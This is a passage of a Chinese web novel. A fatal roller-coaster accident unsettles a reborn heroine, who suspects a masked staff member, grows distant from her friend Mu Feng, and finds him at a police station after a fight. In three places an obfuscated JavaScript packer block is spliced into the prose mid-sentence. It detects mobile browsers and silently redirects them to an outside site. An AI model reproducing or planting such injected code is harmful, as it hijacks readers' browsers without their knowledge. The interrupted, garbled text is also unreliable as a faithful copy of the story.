没错,他戴着口罩,帽檐压得很低,不要说脸了,连眼睛都看不见,像是刻意遮住面孔。 她缓缓开口,“我总觉得,他好像在躲避我的视线,不过,也可能是我想多了。” “啊……” 震耳欲聋的尖叫声在身后响起,瞬间被高空吞没,接着,又是一声。 尖叫声如海浪,一波又一波,渐次袭来。 穆逢的表情凝滞了片刻,忽然露出释然的笑。 “没事,反正我们已经下来了,要不要吃冰淇淋?” 他指着前面红白条纹遮阳伞下的冷饮摊,问她。 秦遇点点头,“要吃,我要草莓牛奶味的。” “等着。” 穆逢丢下这句话,跑向冷饮摊,秦遇慢慢往他的方向走。 斑驳的树影投在他清瘦的背上,像是一副安静的画,树梢间响起不知名的鸟叫,冷饮摊的水果香气在空气中浮动,他回头看她时,阳光给他的身形勾勒出金边。 一切都是那么美好。 那莫名的不安,一定是她想多了。 就在这时,身后又响起此起彼伏的尖叫,比以往的叫声更大、更久,传达出的恐惧也更多。 她不以为意,继续往前走。 一道抛物线划过眼前,伴着一声闷响,有什么东西摔在地上,红色的碎屑和液体四溅开来。 一截软软的、细长的东西,从她眼前飞过,挂到不远处的树梢上,摇摇晃晃。 她呆呆地站在那里,一瞬间,周围的一切仿佛陷入了真空,她耳中听不见任何声音,只看见穆逢的脸色一瞬间变得铁青,看见他扔掉手里的冰淇淋,冲刺般向她跑来。 他一把把她扯进怀里,一只手捂住了她的眼睛。 “不要看。” 他的声音在耳边响起,冷静、镇定,捂住她的手却在微微发抖。 空气里弥漫着淡淡的血腥味。 身后的过山车控制台,发出刺耳的警报声,尖锐地撕扯着她的神经。 她拉下他的手,和他对视。 “穆逢,出事了是不是?有人死了,是不是?” 穆逢注视着她,缓缓点了点头。 五月十七日,A城知名游乐场的过山车发生重大事故,行驶中,两名乘客的安全带固定螺栓意外松动,导致两人被抛出车外,当场死亡。 那是一对年轻的情侣,在急速行驶的过山车上,两人双双被甩出去,当场死亡。 据说,飞溅的身体碎屑,黏在周围建筑物的墙体上、玻璃上、甚至树叶上。 断体残肢则散落在游乐场各处,始终未能找齐。 游乐场当即疏散游客,返还当天入场游客的票费,警察随即赶到,勘查现场,并调查事故原因。 秦遇被穆逢拉着,慢慢走向游乐场的大门。 身边都是乌央乌央的游客,挤挤挨挨地往园外走。 “他们就坐在我前面,我是第三排,他们是第二排,我正紧张地大叫,一眨眼,人没了,我还以为自己出现了幻觉。” 秦遇心头一凛,停下脚步。 说话的是一个系着红围巾的中年女人,嗓门很大,她记得她,排队的时候在她们后面,一直推推搡搡,落座时,就坐在她身后。 “请让让,请让让。” 几名救护人员抬着担架,从他们身边走过,担架上是一个因为目睹尸体残肢,而当场晕厥的保洁人员。 当时,这位保洁人员正在打扫花坛,一只断手直接飞过来,落在她面前的花丛中,她大叫一声后晕倒在地,从此再也不敢来这里工作。 担架越走越远,秦遇的脚却像粘在地上,拔不动。 她愣愣地看着人潮涌向门口,缓缓蹲下,抱住了自己。 穆逢见状,也蹲下来,手轻轻搭在她肩上,低声问她,“怎么了?是不是腿软,我背着你走,好不好?” 他的声音柔软的不可思议。 秦遇抬起头,透过朦胧的视线,看向他。 “原本应该死的,是我们,对不对?” “如果我们没下车,死的就是我们。” “他们是替我们死的,是不是?” 说着,眼泪扑簌簌滚下来,打湿她的衣领和袖子。 穆逢把她搂进怀里,轻拍着她的肩膀,安慰道,“不,不是这样的,没有谁替谁,这是一场意外。” 秦遇终于忍不住,搂住他的脖颈,放声大哭。 “穆逢,我好害怕,如果刚刚没下车,死的就是我们,我害怕。” 穆逢慌乱地回抱住她,努力安慰,“不怕,不怕,有我在。” 他第一次安慰痛哭的女孩子,手忙脚乱,语无伦次。 不知道该说些什么才能让她不难过,抱得紧了怕她疼,抱得松了怕她碎,当她紧紧搂住他的时候,他只觉得大脑一片空白,她每哭一下,他的心脏就跟着抽痛一下。 这种陌生又强烈的痛感,让他如痴如醉,沉迷其中。 过了很久,秦遇终于松开他,红着眼睛跟他道歉。 “对不起,眼泪鼻涕都抹在你衣服上了。” 穆逢浑不在意,“没事,这有什么。” 她低头,擦了一把眼泪,再抬头看向他时,眼神变得十分坚毅。 “我觉得,那个工作人员很有问题,我们去找园方和警察说明情况吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176229|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 穆逢看着她,片刻后点了点头,“一起去。” 多么不可思议,她哭得时候像个无助的孩子,这一刻却坚定得像一个要上战场的士兵。 他们找到园方,说明了情况。 园方随即调出监控查看,可是很遗憾,镜头里并没有拍到那个戴口罩的人。 负责此事的游乐场领导,是个大腹便便的中年男人,他挺了挺肚子,义正言辞道, “小姑娘,小帅哥,我理解你们想要帮忙的心情,不过,监控里并没有你们说的那个人,我问了今天负责过山车项目的值班人员,并没有什么形迹可疑的陌生人混入,接下来,我们会按照值班表名单逐一排查,如果确实是工作疏漏,我们一定会追究相应的责任。” 中年人说着,怕两人不信,指了指隔壁的房间,那里,两名警察正在盘问两个穿黄色工作服的工作人员。 两个房间只隔着一道玻璃门。 “你看,今天上午负责检查过山车安全的,就是这两个人,都是我们的老员工,他们没人戴口罩,也都认真负责。” 秦遇趴到玻璃窗上看了看,失望地摇摇头。 “不是他们,虽然那个人戴着口罩,看不清脸,但从眉眼能看出来,是个年轻人。如果你们不信,可以问问其他坐过山车的游客,一定有人有印象。” 中年男人摆摆手,“小姑娘,不是我推脱,只是你的怀疑站不住脚,首先,我们的监控摄像里没有拍到你说的人,员工也没见过戴口罩的;其次,我们没有留下所有游客的联系方式,无法一一联系求证;最重要的是,你们只是怀疑,没有有力的证据。” “请你们放心,警方已经开始调查事故原因,你们提供的信息,我已经记录下来,如果警方认为有必要,会再联系你们。” “如果没有其他事,请你们离开,我们还有很多事要忙。” 秦遇心头涌上一阵失望,可是她不得不承认,对方说得没错,只是所谓第六感的怀疑,并不能证明什么。 一直沉默的穆逢走过来,揽住她的肩,看向中年男人。 “贵园这次事故,给包括我们在内的游客,都造成了不小的心理创伤,请你们务必调查清楚,给公众一个交待。还有,如果不能保证杜绝这种情况再发生,这个游乐场可以永久关闭了。” 十几岁的青葱少年,说起话来却有一种莫名的威严,那迫人的眼神,竟让他感到莫名的压力。 中年男人掏出手帕,擦了擦额头的汗,不住点头,“是是,你说的是。” 穆逢低头看向她,语气变得温和而有耐心。 “相信专业人员,如果我们提供的信息真的有用,他们一定会再联系我们。” “我们先走,好不好?” 秦遇抬眸,四目交接,对视片刻,她点了点头。 当晚,穆逢和秦遇在各自的床上,翻来覆去,睡不着觉。 午夜时分,穆逢的手机亮起来,他看着屏幕上亮起一串陌生数字,接起来。 “今天的事我听说了。” 电话那端的声音透着担忧和疲惫。 “你该不会觉得,这是一场单纯的意外吧?” 穆逢抿紧了嘴唇,声音冷厉得像一把刀。 “我知道,这是他干的,我只是没想到,他的手竟然伸得这么长。” “伪造意外取人性命,一直都是他的拿手好戏,你忘了……” “不要再提那件事!” 穆逢的胸口忽然剧烈起伏,声音变得沉重压抑。那边安静下来,有那么一会,谁都没说话,耳边只有滋滋的电流声。 “你有你的计划,我也不干涉,只是想再提醒你一次,离她远一点,否则,你还没赢,怕是已经赔上了她的命。” “不要像我一样,等事情发生了,再追悔莫及。” 穆逢摁断了电话,拉开窗帘。 清冷的月光洒进来,给屋里的一切镀上银白色光辉,他抬头,一团灰色云雾正在快速移动,很快就遮掩住整个月亮。 他耐心地等着,等待银色的光辉刺破灰云边缘,饱满的月亮再次露出全貌,把月光倾洒向大地。 50. 疏远 回到H城,秦遇始终放不下游乐场的事故,不怎么看新闻的她,开始每天放学后打开电视,调到A城的频道,看当地的新闻。 她还每天早晨买报纸,试图从上面跟进调查进展。 前几天,A城媒体的报道多集中在事故伤亡现场和对亲历游客的采访,事故原因只说是在调查中。 大概一周后,初步调查结果出来,说是出事那辆座椅上一颗关键的螺帽松动,酿成了悲剧。 游乐场宣布闭园半年休整,但很多游客表示,信任已经崩塌,再也不会去这家游乐场了。 而她,始终没有接到调查人员的电话。 说到底,对当天那个戴口罩的人,她也只是怀疑。 她没有亲眼看见他把螺帽拧松,也不知道他这么做的目的是什么。 时间久了,她甚至怀疑,是否自己看错,或许当天根本没有一个戴口罩的人出现,一切都是她因为紧张而出现的幻觉。 可是,穆逢当时也看见了。 不过,最近他似乎很忙,一放学就窜出教室,每次她想找他讨论这件事,他总是没有时间。 思来想去,她只能明确一点,第六感救了她一命。 从前她是不信怪力乱神的,可是既然重生,她不得不承认,冥冥中自有她看不见、常理也无法解释的力量。 既然如此,或许她该去为逝者上一炷香,祈求他们来生一切顺遂。 H城城西有一处寺庙,建在半山腰,叫寂光寺,据说始建于北齐年间,距今已有千余年历史,多年来香火不断。 秦遇拿上钱,决定去庙里布施。 她先去邀请穆逢,请他和自己一起去,穆逢有些惊讶地看着她,犹豫了片刻,说自己没时间。 虽然有点失望,但她也没多说什么,转头去找了姚摇。 姚摇的妈妈信佛,每逢初一十五,姚摇也常跟着去拜拜。接到秦遇的邀请,她十分意外。 “我以为你不信这些。” “怎么说呢,算是求一个心理安慰吧,我一直觉得,那两个人的死,多少和我有点关系。” 姚摇安慰地拍拍她的肩,“不要这样想,佛家说前世因今生果,一切都是命数,他们的死不怪你。” “不过,去帮他们做场法事,超度一下,也是积德,我陪你去。” 踏进重重山林间的寂光寺,袅袅香烟,声声佛号,多少消解了她心头的不安。 两人找到了寺里一位师父,秦遇付了200块钱,为那两位意外死亡的年轻人,立了一个往生牌位,供奉了一盏长明灯。 走出寺庙的时候,脚下都轻快了许多。 这天晚自习课间,穆逢找到秦遇。 “有件事,我想跟你说一下。” 从A城回来不过十来天,她却觉得好像很久没看见他了。 有时候,上课或者课间,她会感觉到有视线聚焦在自己的身上,可是当她回头看去,穆逢已经别开脸。 再不像从前一样,越过重重人海,四目相对的默契。 她甚至隐隐觉得,他在有意无意地疏远她。 她扫去心头的猜测,平静地看向他,“什么事?你说。” “我最近有些事要忙,以后,晚上就不和你一起回家了。” 穆逢像是下定了决心不看她,目光死死盯着窗外的霓虹灯,只留给她一张没有表情的侧脸。 秦遇的笑意有一瞬间的凝滞,很快,她就整理好表情,用毫不在意的声音说,“没关系,你去忙你的,其实我们俩本来也不顺路,你每天送我也挺麻烦的。” 穆逢没说话,只是点了点头。 “姚摇找我有事,我先走了。” 说完,不看他一眼,不等他回答,她就快步跑回了教室。 所以她不知道,在她转身的刹那,穆逢猛然看向她,欲言又止的表情,和伸出又收回的手。 他贪婪地盯着她的背影,一直到她消失在教室门口,还不舍得移开视线。 秦遇回到座位上,打开笔记本,拿起笔大开大合地划来划去。 很快,混乱的线条就布满了整整一页。 不要脸! 混蛋! 明明是他非要去送,现在说不送又不送了,把她当什么人? 突然摆出那么一副冷淡的表情,只说自己有事,也不说是什么事,真是完全不信任她! 她刚才说姚摇找她有事,只是临时扯的谎,班上的同学都知道,艺术生今晚要去上专业课,穆逢一定也知道,可他还是默认了她的借口。 随便,有本事以后都不要出现在她面前。 怀着对穆逢的不满和怨气,秦遇闷闷不乐地迎来了最后一节晚自习。 穆逢又逃课了,整整一节课,他都不见人影。 已经很久没见过他逃课,再次看见他那张空空的桌子,秦遇竟觉得心头也空落落一片。 真是糟糕,她居然已经习惯了关注他的一举一动。 左右看不进去练习册,干脆拿出课外书来读,从书包里掏书的时候,一个笔记本掉出来,摔在地上。 她弯腰捡起来,是那本记录着重生计划的笔记本。 翻开,扉页写着三行大大的目标。 “不嫁吕程。” “阻止爸爸出轨。” “和妈妈一起搞钱、搞钱、搞钱。” 下面,用不同颜色的笔又加了一条,“救他。” 她盯着那两个字,陷入沉思,现在已经是五月,今年年底,就是穆逢出事的时间。 实在是太可笑了,和生死大事比起来,刚刚的事又算得了什么?她怎么会为它伤神、烦恼? 让他活着,平安活过这一年的除夕,比什么都重要! 合上笔记本,秦遇深吸一口气,看向深蓝色的窗外。 同一时刻,教学楼的背面,小花坛旁边,穆逢和徐伟民正在交谈。 徐伟民把一个方方正正的相册,递到穆逢手里。 穆逢打开,里面是秦遇从小到的照片,全是刚冲洗出来的新照片,按年龄顺序摆放好。 “你倒是考虑周到,连相册也准备好了。” 徐伟民十分得意,“那当然,一般男生可没有我这么细心,再说了,小遇的照片,还是要妥善保存。” 这句话中透出的情意,让穆逢不悦地眯起眼,可是,想到徐伟民的性取向,他努力压下这种不快。 “不过,你到底是怎么回事?先前问我要照片,说什么想看到她从小到大的所有模样,刚刚又说什么,以后不能送她回家了。” 徐伟民说着,狐疑地看着他,眼神中透出几分警惕,“我说,你该不是变心了吧?” “我告诉你,如果是这样,这些照片不能给你。” 徐伟民说着,要去抢穆逢手里的相册。 穆逢的手攥得紧紧的,他根本拽不动。 “松手!” 穆逢压低了声音,目光瞬间变得凶狠,像一头被惹急的狼。 被这样的眼神盯着,徐伟民竟吓得后退了一步。 可是下一秒,他回过神来,觉得不能给秦遇丢脸,于是挺了挺背,梗着脖子又向前走了一步,站到原来的位置。 “你得说清楚,你要是伤了小遇的心,我可不答应。” “我们俩之间的事,还轮不到你来说三道四。” 穆逢十分讨厌他那副为了秦遇不惜与全世界为敌的模样,他觉得徐伟民这是在抢他的剧本、他的位置。 即便知道徐伟民对秦遇不是爱情,他还是忍不住泛起滔天醋意。 徐伟民叉起腰,声音变得尖利,“怎么说话的你这是?照片给了你,你就变脸,不带这样的。” 穆逢强忍着不耐,把相册抱在怀里。 “看在你给我照片的份上,我跟你透露一点,我最近遇上了一些棘手的事,跟她保持距离,是怕她被牵连、受伤。” 徐伟民一拍手,“不是变心就好,我们小遇很单纯,又很认真,要是初恋就遇到负心汉,搞不好就封心锁爱了。” 一句“负心汉”,让穆逢的长眉拧成一团,可是“初恋”这个词所带来的份量,又让他心头涌起巨大的喜悦。 他是她的初恋? 他是她的初恋! 徐伟民又一拍大腿,“对了,是什么样的危险,不会是危及生命的吧?你别告诉我你可能没命,我可不想我们小遇小小年纪就守寡……” “你闭嘴,”穆逢对他低吼了一声,一脸鄙夷和不解,“你一个大男生怎么这么啰嗦!” “我告诉你,我的命硬得很。” 徐伟民被他吼得一哆嗦,“行吧,我的第六感告诉我,你没说谎,所以我选择相信你,不过,你一定一定不要让小遇伤心。” 穆逢冷哼一声,“这些话不用你说,我当然知道。” “还有,”穆逢抬起一根手指,指向他,警告道,“你虽然是gay,毕竟也是男生,不要对她勾肩搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186247|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背的,保持该有的距离。” 徐伟民一脸不敢置信,“我跟小遇那可是穿开裆裤的交情,连我你都不放心?” 穆逢皱了皱眉,别说是徐伟民了,就连姚摇,他瞧着也有几分不顺眼,她总是动不动就抱着秦遇的手臂,揽着她的肩膀,有时候还抱她。 不过,这些他并没有说出来。 徐伟民摇了摇头,一脸无奈,“要我说,你干脆直接告诉她,靠近你会有危险,也省得她多想。” “不行,”穆逢毫不犹豫地拒绝,“我不能让她担心,她只要每天平平安安的上学念书就好,其他的,她没必要知道。” 三天,整整三天,穆逢没给她发过一条短信。 翻看着两人的短信记录,她才发现,以前每天晚上,他都会给她发短信,有时候是闲聊当天的小事,有时候就只是一句晚安。 不过,或长或短,或多或少,总是有。 变化是从从A城回来开始的,和他白天不见人影同步,晚上的短信也一并消失。 她给他发短信,他会回,但不像过去秒回,而且极其简短,对话模式是她问、他答,完全不像过去有来有回,或者他没话找话。 秦遇不由得想起上一世和吕程的恋爱过程,分析对比一番后,得出一个结论:他这是,腻了? 说到底,两个人之前的进度,也只能称得上是暧昧,都没正式开始,怎么就腻了? 不过,周杰伦不是唱过吗?爱像一阵风,吹完它就走。 喜欢有时候只是一瞬间的事,下头,也是一瞬间的事。 她有自己的自尊和骄傲,绝对、绝对不会巴巴地跑去问他,为什么忽然对自己冷淡。 不过…… 游乐场的惨剧从脑中划过,闭上眼,眼皮上似乎还残留着他指间的温度。 那个时候,他把她抱在怀里,那么紧张、那么小心,修长的手捂住她的眼睛,喘着气在她耳边告诉她,“不要看。” 一阵冷风掠过后背,她猛然睁开眼,眼中一片凛然。 该不会,这次的游乐园事故,是冲着他来的? 她早就察觉到,有些事,不一定按照上一世的时间节点发生,会随机提前或者延后。 可是,穆逢上一世的死亡,究竟是意外,还是谋杀,始终不得而知。 越想越乱,秦遇干脆用双手把头发揉乱,大叫一声,把自己整个埋在被子里。 想这些也没用,她决定了,明天就找穆逢当面聊一聊,提醒他今年他会有一场大劫,要注意安全。 大课间的走廊里一片喧闹,他们所在的扇形拐角处却无人过来。 该说不说,穆逢那不好惹的名声,有时候省了很多麻烦。 听完秦遇的话,穆逢默了默,忽然轻扯嘴角,重复她的话,“你说,我有血光之灾?” 谁能想到,这种江湖术士用来骗人的老套说辞,竟会从她嘴里说出来。 穆逢向前一步靠近她,弯腰,用审视般的目光打量她,秦遇则一脸严肃地回看他,向他表示,自己是认真的。 穆逢忽然伸出手,摸了摸她的额头,“发烧了?还是做噩梦了?” 秦遇拨开他的手。 明明最近对她很冷淡,现在又来动手动脚,她不喜欢这种割裂的感觉。 把她当什么? 她的躲避,她紧皱的眉头、不悦的眼神,都刺痛了穆逢,他抿紧唇,克制着想把她一把拉进怀里的冲动。 “首先,你有危险,这是我的直觉,经过游乐场那件事,你也知道,我的直觉很准。游乐场的事故,没准就是针对你来的。” “其次,我去寂光寺拜佛的时候,请师父看了,你有危险,一定、一定要注意安全。” “首先、其次,”穆逢咀嚼着她的话,“这段说辞,你是不是演练过很多次了?是不是就连睡觉的时候,都在想?” “看来,那件事把你吓得不轻,竟然胡思乱想到了这个地步。” 秦遇用力摇头,眼神里流露出几分渴求,“不是,不是这样的,你相信我,你真的有危险。” 穆逢垂下眼,长长的睫羽盖住眼底情绪。 数秒后,他抬起头,走到她身边,忽然抬手,覆在她头顶,微微用力,揉了揉她的头发。 “别多想,什么事也没有,我会好好的,活到一百岁。” 说完,独自走下楼梯。 看着少年单薄的身影,被层层楼梯吞没,她莫名地有点想哭。 51. 义举 周五下午放学后,秦遇和姚摇去逛校门口的文具店,她买了贴纸、有香味的中性笔、装在彩色塑料盒子的小香珠。 这种软软弹弹的、麦粒大小的香珠,随便拿几颗放在铅笔盒里,香味就能持续很久。 两人一起在校门口吃了米线,在路口分开,姚摇去画室画画,秦遇慢慢往家走。 她今天没骑车,五月的暖风熏来,空气中夹缠着芍药的香气、草木的清香,还有路边小摊的食物香味。 她一边走,一边盘算着家里的事。 妈妈最近被姨妈说动,打算入手一个128平的房子,正在城南的秀水和城东的梅江两个楼盘之间犹豫。 秦遇力劝妈妈买梅江的房子,因为她知道,几年后,H城中心城区会不断东扩,城东将成为城市新的经济增长极,地铁口也会修到家门口。届时,房子的价格会翻好几番,一转手就能赚上百万。 不过眼下,城东还是一片荒地,和聚集了传统企业、人口熙攘的城南比相形见绌。 眼下的困境是,如何说服妈妈和姨妈相信她,选择梅江。 因为想得太过入神,摩托车擦着她呼啸而过时,她完全没有察觉。 身体自觉地后退一步,才感觉到后怕。 扬尘逼得她咳嗽了几声。 摩托车上的鬼火少年,还骂了她几句。 “妈的不长眼!” “找死!” 她一怔,随即反应过来,气得转身朝那些人的背影大骂,“你们才找死!” 可是对方早就跑得不见人影,只引来几个路人侧目。 “王八蛋!” 秦遇愤愤地骂了一句,用尽全力踢开脚边的一块石子。 就在这时,又一辆摩托车呼啸着从身边飞过。 比刚才那几辆摩托大很多,高很多。 还有些眼熟。 她呆呆地看着摩托车在视线中变小,揉了揉眼睛,头一次对自己的视力产生怀疑。 她刚刚,没看错吧? 宋有才,他们的班主任宋有才,坐在穆逢的摩托车上?! 风里似乎还回荡着宋有才的嘶吼,“快点,再快点,抓住他们,混蛋……” 一直以来,宋有才看穆逢是横竖不顺眼,穆逢对他也是一副“少管老子”的叛逆模样,她怎么也想不到,这两个人居然有一天会成组出现,坐在一辆摩托车上。 穆逢用摩托车载着宋有才,怎么想怎么诡异。 不对,他们好像在追什么人,难道是刚才那几个鬼火少年? 秦遇想了想,掏出小灵通,拨打穆逢的电话。 电话滴滴响了半天,没人接。 又打一次,还是没人接。 没办法,她只好先回家。 到家吃过晚饭,看看时间,已经过去了一个小时,穆逢没打回来,也没有短信,还是担心,又打给他。 这次,电话接通了,对面响起一个沉稳严肃的中年男人的声音。 “……没错,这里是东城派出所,如果你是穆逢的家属,请尽快过来。他在街头打架斗殴,现正在做笔录……” 一瞬间,只觉全身脊梁骨被分开,一桶冰水兜头浇下,她冷得牙齿打颤。 接着,她听见自己的声音响起,冷静得像是另一个人,“好,我马上过来,马上。” 趁妈妈在洗澡,秦征在上网,她拿出所有的零花钱,蹑手蹑脚走出门,骑了妈妈的小木兰扬长而去。 情急之下,忘了带头盔,也顾不得风把头发吹得糊一脸,只知道一味往派出所赶。 到了派出所门口,扔下车子就往里跑。 值班的警察叫住她,“喂,小姑娘,你找谁?” “我,我找穆逢。” 警察翻了翻记录本,“哦,是刚才那个因为打架进来的未成年,你是他什么人?” “我,”秦遇拨开眼前的刘海,把两边的头发夹到耳后,尽力摆出一副成熟冷静的姿态,“我是他姐姐,我来看他。” 警察露出怀疑的目光,“怎么又来一个姐姐?”说着,转头问身边的同事,“刚才他姐姐不是来了吗?” 同事点点头,看向秦遇。 “小姑娘,不要对警察撒谎,你看起来只是个中学生,比打架的小伙子还要小。” 秦遇有些尴尬,“我是他表妹,刚才一紧张,说错了。” “身份证出示一下。” 秦遇摸了摸空空的口袋,咧嘴一笑,“来的太急,忘记拿身份证了。” 两名警察对视一眼,其中年龄大点的那个,指指旁边的深色长形木桌,“如果你是家属,请在这里等一等,穆逢的姐姐已经过来,正在里面说明情况。” 之后,两名警察就开始忙,不再理她。 穆逢什么时候有姐姐了? 他姐姐怎么会突然出现在这里? 还有,宋有才呢,也在这里吗? 她伸长了脖子往里看,可惜走廊里的木门都关得死死的,什么也看不见。 就在这时,一个少女扶着一个中年男人走了进来,中年男人跛了一条腿,拄着拐杖,一脸焦急,边走边喊着“警察同志,警察同志,抓错人了,抓错人了!” 少女低声劝他,“爸,走慢点。” 值班警察里年轻的那个,立刻飞过来扶住他,“这位叔,有什么事慢慢说,别着急。” 少女的脸红通通的,头发有点乱,眼睛好像哭过。 “有才是为了维护我,才跟那些混混起冲突的,他的学生,也是为了帮我。” 秦遇凑过去,正想仔细听,询问室的门打开,一个穿着豹纹外套、踩着8寸高跟鞋的年轻女人走出来,女人一头大波浪卷发长及腰间,明艳动人的美貌衬得大厅里的白炽灯都黯淡了几分。 走在她身边的是两名警察,几人一边走一边说,在他们身后,冒出了穆逢那颗染着红发的脑袋。 一看见穆逢,秦遇立刻奔过去,“穆逢,你怎么样?受伤了吗?” 做笔录的警察皱起眉,值班的警察解释,“小伙子的表妹,担心他。” 穆逢的嘴角还在渗血,额角也有一片殷红,她踮起脚尖,仔细看了看,还好只是擦伤。 接着,又拉过他两只手,翻来覆去地仔细打量。 一声娇笑传来。 “怎么,只关心表哥,就不问候一下我这个好久不见的姐姐?” 大波□□人笑眯眯地看着她,显然,她就是警察口中穆逢的姐姐了。 得,亏她刚才还自称是穆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191846|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逢的姐姐,这下遇到正主了,她涨红了脸,嗫嚅着说了声“你好”,穆逢冷哼一声,把她拉到身边,直截了当地说“不用理她”。 穆逢的声音不冷不热,大波浪姐姐也不生气,反而笑眯眯地看向她,“真是辛苦你了,他以前不是这样的,现在冷冰冰的,说话又难听,真抱歉。” “没,没关系。” 一名警察咳嗽了一声,“穆小姐,家事还请你们回去再说,鉴于有证人过来”,说着,指指左边的父女俩,“我们还要对当时的情况进行更详细的询问。” “是,是,警察先生,你们忙,妹妹来,和姐姐一起坐下喝杯茶。” 大波浪姐姐过来拉她的手,秦遇下意识地看了穆逢一眼。 “哎呀,不用问他同不同意,警察先生还有事要问他,我们姐妹好好聊一聊。” 就在这时,另一件询问室的门也打开,宋有才和两名警察走出来。 宋有才的右脸肿得像个馒头,一只眼睛充血,头发乱糟糟得像鸡窝,秦遇从没见过他这副样子,不由得看直了眼。 走在他身边的警察,还在数落他,“您好歹是二中的老师,怎么还带着学生去打人,就算他们不对……” 瘸腿的男人立刻拄着拐杖扑过去,焦急地说,“警察同志,不是这样的,有才他是为了帮我……” 原来,事情的起因是这样的。 瘸腿男人叫顾伯维,开了一家面馆,和唯一的女儿相依为命,今天晚上,三个鬼火少年来面馆吃饭,把面吃得干干净净后,就开始挑刺,一个说太咸,一个说太淡,还有说面条不新鲜、吃完肚子疼,总之就是不想付钱。 顾伯维的女儿过来解释,他们看女孩长得乖巧可爱,又要和她谈朋友、要电话,女孩不同意,他们就扯着女孩往外走,顾伯维来阻止,还被他们推倒在地,踹了几脚。 宋有才进来吃面的时候,刚好看见这一幕,就要上去理论。 事实上,顾伯维是宋有才中学老师的孩子,当年宋有才从乡下来城里上学,一穷二白,连住的地方都没有,这位顾老师把他接到家里住了一年。 如今顾老师不在了,他唯一的儿子又有残疾,宋有才就经常来光顾面馆,照顾他的生意。 不过,长得像土豆似的宋有才,又怎么是鬼火少年的对手。三个混混伤了人,不交饭钱就跑了,宋有才呼哧呼哧地追出去,跑了半条街,眼看就要跟不上的时候,遇上了穆逢。 当时,穆逢正骑着摩托车经过。 据穆逢后来说,当时宋有才叫住他,一下跳上他的后座,动作敏捷得不可思议,穆逢还举了个例子,“就像一颗硕大的弹力球。” 顾伯维父女俩的出现,给警方的调查带来了新进展,正好此时,三个鬼火少年也被抓来了,警方继续做笔录,穆逢和宋有才暂时还不能走。 “好了,”大波□□人抬起腕上熠熠生辉的钻石手表,看了下时间,“我想,距离他们结束,还有一段时间,现在跟我说说你们俩的故事吧。” 她拉着秦遇的手,走到长桌边坐下,“跟姐姐说说,你们是怎么认识的?又是怎么喜欢上彼此的?” 说着,她咯咯地笑起来,“你看我,居然忘了先自我介绍,我叫穆望亭,是穆逢同父异母的姐姐。” 52. 真相 从派出所出来,已经快九点了。 一行人鱼贯走到门口,顾伯维还不住回头对警察重复,“有才和他的学生是好人,都是为了帮我。” 年轻的警察无奈地说,“您放心,综合各方信息,这件事已经认定为见义勇为。” 宋有才抬手捋了捋头发,低声咳嗽一声,走到穆逢面前。 穆逢又高又瘦,身材挺拔,宋有才身材矮小,肚子滚圆,就像肚子里揣了颗土豆。 这两个人站在一起,不说话,就是一副对比鲜明的画面。 两个人的个性,也像他们的外形一样南辕北辙。 宋有才一向看穆逢不顺眼,就算穆逢以逆袭的成绩刷新了众人对他的认知,在宋有才眼里,他依然是那个素行不良的坏学生。 每次远远看见穆逢,他就先皱起眉,满脸写着毫不掩饰的厌恶。 头一次,他的脸上没了那种厌恶的神情。 他深吸了一口气,才郑重开口。 “穆逢同学,今天的事,老师要谢谢你。” 秦遇惊讶地嘴巴张成O型。 穆逢瞥了她一眼,再看向宋有才。 “宋老师,我也没想到,你这么带种。” 他那漫不经心的语调里,透出肯定。 宋有才失笑,“你这孩子,净乱用词。” 一旁的顾伯维突然开口,“其实有才上学的时候就很仗义,当时有同学嘲笑我的腿,他总是冲上来教训对方。” 秦遇和穆逢交换了一个惊讶的眼神。 被披露年少轻狂的岁月,宋有才有些尴尬地别开脸。 就在这时,秦遇的小灵通适时响起,屏幕上亮起的妈妈两个字,让她心里一慌,暗叫糟糕。 接起电话,妈妈焦灼中带着愠怒的声音响起,“小遇,你怎么不说一句就出去了?这么晚还不回家,很危险你知不知道……” “对不对,妈妈,我出来得着急,忘记告诉你了。那个,是宋老师喊我来学校帮忙改卷子,我一会就回去。” 说着,向宋有才投去一个求助的眼神,宋有才会意,接过她的小灵通,“喂,小遇妈妈,你好,对对,是我,我是宋老师,是我临时叫了几个同学来帮忙改卷子……” 如此,总算把这件事圆过去。 宋有才叫了一辆出租车,送顾伯维父女俩回家,秦遇三人站在路边,目送出租车消失在街角。 一直没说话的穆望亭开口了。 她两手一拍,笑意盈盈地抱起秦遇的手,“好了,总算忙完了外头的事,现在,我们来聊聊家事。” 穆逢毫不客气地扯开她的手,“我说了,不要对她动手动脚的。” 穆望亭也不生气,一撩头发,指尖的钻石在路灯下闪烁。 